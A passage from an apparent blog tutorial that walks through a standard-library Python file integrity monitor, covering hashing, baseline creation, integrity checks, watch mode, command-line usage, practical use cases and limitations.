&lt;p&gt;Finally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns the &lt;strong&gt;final cryptographic fingerprint&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;9f86d081884c7d659a2feaa0c55ad015...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  8. Directory Scanning Engine
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_directory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;extensions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This function performs the &lt;strong&gt;core filesystem analysis&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Steps:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Walk through the directory
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;walk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;os.walk()&lt;/code&gt; recursively traverses folders.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Filter by extension
&lt;/h3&gt;

&lt;p&gt;If the user specifies:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;--ext .php .html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;only those files are scanned.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Hash each file
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;file_hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;hash_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  4. Store results
&lt;/h3&gt;

&lt;p&gt;Each file is saved as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hash&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;file_hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;algorithm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;size&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;modified&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;permissions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;perms&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This becomes part of the &lt;strong&gt;baseline database&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  9. Creating the Baseline
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_baseline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This function performs &lt;strong&gt;Phase 1 of file integrity monitoring&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Scan the directory&lt;/li&gt;
&lt;li&gt;Generate hashes&lt;/li&gt;
&lt;li&gt;Collect metadata&lt;/li&gt;
&lt;li&gt;Store results&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The baseline structure looks like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"_meta"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="nl"&gt;"created"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-03-07"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="nl"&gt;"algorithm"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sha256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="nl"&gt;"file_count"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"files"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="nl"&gt;"/var/www/index.php"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"hash"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"size"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1200&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally it writes this to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;baseline.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This file becomes the &lt;strong&gt;trusted snapshot&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  10. Integrity Checking
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check_integrity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is &lt;strong&gt;Phase 2&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The function:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Loads &lt;code&gt;baseline.json&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Scans current files&lt;/li&gt;
&lt;li&gt;Compares hashes&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Three outcomes are detected.&lt;/p&gt;

&lt;h3&gt;
  
  
  Modified files
&lt;/h3&gt;

&lt;p&gt;Hash mismatch.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[MODIFIED] config.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Deleted files
&lt;/h3&gt;

&lt;p&gt;File existed before but is missing now.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[DELETED] login.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  New files
&lt;/h3&gt;

&lt;p&gt;File exists but not in baseline.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[NEW] backdoor.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  11. Exporting Reports
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_export_report&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Creates a forensic report:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fim_report_20260307_134512.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Report includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;modified files&lt;/li&gt;
&lt;li&gt;deleted files&lt;/li&gt;
&lt;li&gt;new files&lt;/li&gt;
&lt;li&gt;timestamps&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Useful for &lt;strong&gt;incident response documentation&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  12. File Verification
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;verify_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filepath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Allows checking a &lt;strong&gt;single file&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python fim.py /etc --verify /etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The tool:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;hashes the file&lt;/li&gt;
&lt;li&gt;compares it to baseline&lt;/li&gt;
&lt;li&gt;prints result&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;✔ Hash matches baseline
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;✘ Hash differs from baseline
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  13. Watch Mode (Continuous Monitoring)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;watch_mode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This runs integrity checks repeatedly.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python fim.py /var/www --watch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Workflow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Scan #1
Scan #2
Scan #3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a file changes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2 issues detected!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This approximates &lt;strong&gt;real-time monitoring&lt;/strong&gt;.&lt;/p&gt;




&lt;p&gt;Steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Print banner&lt;/li&gt;
&lt;li&gt;Parse CLI arguments&lt;/li&gt;
&lt;li&gt;Call the appropriate function&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User command
      ↓
argparse parses flags
      ↓
init / scan / watch / verify
      ↓
FIM executes requested operation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Installation
&lt;/h2&gt;

&lt;p&gt;FIM has no external dependencies — it runs on Python 3.8+ using only the standard library.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Clone or download fim.py, then run directly:&lt;/span&gt;
python fim.py &lt;span class="nt"&gt;--help&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. No &lt;code&gt;pip install&lt;/code&gt;, no virtual environment, no configuration files.&lt;/p&gt;




&lt;h2&gt;
  
  
  Usage Guide
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Creating a Baseline
&lt;/h3&gt;

&lt;p&gt;Before FIM can detect anything, you need to establish a trusted baseline of your directory. Run this once on a known-clean system:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python fim.py &lt;span class="nt"&gt;--init&lt;/span&gt; /var/www/html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This scans the directory, hashes every file with SHA-256, and saves the results to &lt;code&gt;baseline.json&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;With a different hashing algorithm:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python fim.py &lt;span class="nt"&gt;--init&lt;/span&gt; /etc &lt;span class="nt"&gt;--algo&lt;/span&gt; blake2b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Filtering by file type:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python fim.py &lt;span class="nt"&gt;--init&lt;/span&gt; /var/www &lt;span class="nt"&gt;--ext&lt;/span&gt; .php .html .js .py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Filtering by extension is useful when you only care about specific file types — for example, monitoring only PHP and HTML files in a web root, ignoring uploaded media assets.&lt;/p&gt;




&lt;h3&gt;
  
  
  Scanning for Changes
&lt;/h3&gt;

&lt;p&gt;Once a baseline exists, run a scan at any time to detect changes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python fim.py &lt;span class="nt"&gt;--scan&lt;/span&gt; /var/www/html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;FIM will compare current file hashes against the baseline and print a color-coded report. Modified files appear in yellow, deleted files in red, and new files in blue.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Export the scan results to a file:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python fim.py &lt;span class="nt"&gt;--scan&lt;/span&gt; /var/www/html &lt;span class="nt"&gt;--export&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This generates a timestamped report (e.g., &lt;code&gt;fim_report_20250307_143022.txt&lt;/code&gt;) useful for auditing or incident documentation.&lt;/p&gt;




&lt;h3&gt;
  
  
  Verifying a Single File
&lt;/h3&gt;

&lt;p&gt;Sometimes you just need to quickly check one specific file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python fim.py &lt;span class="nt"&gt;--verify&lt;/span&gt; /etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;FIM hashes the file, displays its metadata, and checks whether the hash matches the baseline — all in one shot.&lt;/p&gt;




&lt;h3&gt;
  
  
  Viewing Baseline Info
&lt;/h3&gt;

&lt;p&gt;To inspect the metadata of an existing baseline without running a full scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python fim.py &lt;span class="nt"&gt;--info&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This shows when the baseline was created, how many files are indexed, the total size, and which algorithm was used.&lt;/p&gt;




&lt;h3&gt;
  
  
  Continuous Watch Mode
&lt;/h3&gt;

&lt;p&gt;For active monitoring, FIM can run in a loop — rescanning on a configurable interval and alerting you immediately when something changes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python fim.py &lt;span class="nt"&gt;--watch&lt;/span&gt; /var/www &lt;span class="nt"&gt;--interval&lt;/span&gt; 60
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This rescans every 60 seconds and prints a timestamped status line. A clean scan shows green; any detected changes show red with a count of issues. Press &lt;code&gt;Ctrl+C&lt;/code&gt; to stop.&lt;/p&gt;

&lt;p&gt;Watch mode is particularly useful when you're doing live incident response and want real-time awareness of filesystem changes.&lt;/p&gt;




&lt;h2&gt;
  
  
  Feature Breakdown
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Create baseline&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--init&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hash all files and save as trusted snapshot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scan for changes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--scan&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Compare current state against baseline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Single file verify&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--verify FILE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hash and check one file immediately&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Baseline info&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--info&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Show metadata about the saved baseline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Continuous watch&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--watch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Real-time monitoring loop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Watch interval&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--interval N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set rescan interval in seconds (default: 30)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Algorithm choice&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--algo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Choose sha256 / md5 / blake2b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Extension filter&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--ext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Only scan specific file extensions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Export report&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--export&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Save results to a timestamped &lt;code&gt;.txt&lt;/code&gt; file&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Practical Use Cases
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Web server protection&lt;/strong&gt; — Set up a baseline of &lt;code&gt;/var/www&lt;/code&gt; and run a watch scan. Any webshell dropped by an attacker will appear instantly as a new file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Config file auditing&lt;/strong&gt; — Monitor &lt;code&gt;/etc&lt;/code&gt; to catch unauthorized changes to SSH configs, sudoers, cron jobs, and PAM modules.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Software supply chain checks&lt;/strong&gt; — Before deploying a software update, scan the package against a known-good baseline to verify no files were tampered with in transit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Post-incident forensics&lt;/strong&gt; — Run a scan against a pre-breach baseline to identify exactly which files were touched during an intrusion.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CTF challenges&lt;/strong&gt; — In competition environments, FIM is a quick way to track what a binary or script is modifying on the filesystem.&lt;/p&gt;




&lt;h2&gt;
  
  
  Example Scan Output
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fljpq1rmmar357avpuqeo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fljpq1rmmar357avpuqeo.png" alt=" " width="568" height="722"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmr4xn6vhaqu23p7tum62.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmr4xn6vhaqu23p7tum62.png" alt=" " width="786" height="976"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn3uwk99q14py09t47ijy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn3uwk99q14py09t47ijy.png" alt=" " width="516" height="181"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhosf4dgwzqfbom101hrd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhosf4dgwzqfbom101hrd.png" alt=" " width="528" height="611"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Limitations and Honest Caveats
&lt;/h2&gt;

&lt;p&gt;FIM is a practical tool, but it's not a replacement for enterprise solutions in high-stakes production environments. File integrity monitoring is most powerful when combined with logging, intrusion detection systems, and strict access controls.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;baseline.json&lt;/code&gt; file is only as trustworthy as the system it was created on. If an attacker already has access when you run &lt;code&gt;--init&lt;/code&gt;, or if they subsequently modify both the target files &lt;em&gt;and&lt;/em&gt; the baseline, FIM cannot detect the deception. In hardened environments, the baseline should be stored on read-only media, a separate host, or protected with access controls.&lt;/p&gt;

&lt;p&gt;FIM also doesn't monitor in real time at the kernel level the way auditd or inotify-based tools do — it's snapshot-based. The &lt;code&gt;--watch&lt;/code&gt; mode approximates real-time monitoring through polling, which introduces a detection window equal to the scan interval.&lt;/p&gt;




&lt;p&gt;Building a file integrity monitor teaches several important security concepts:&lt;/p&gt;

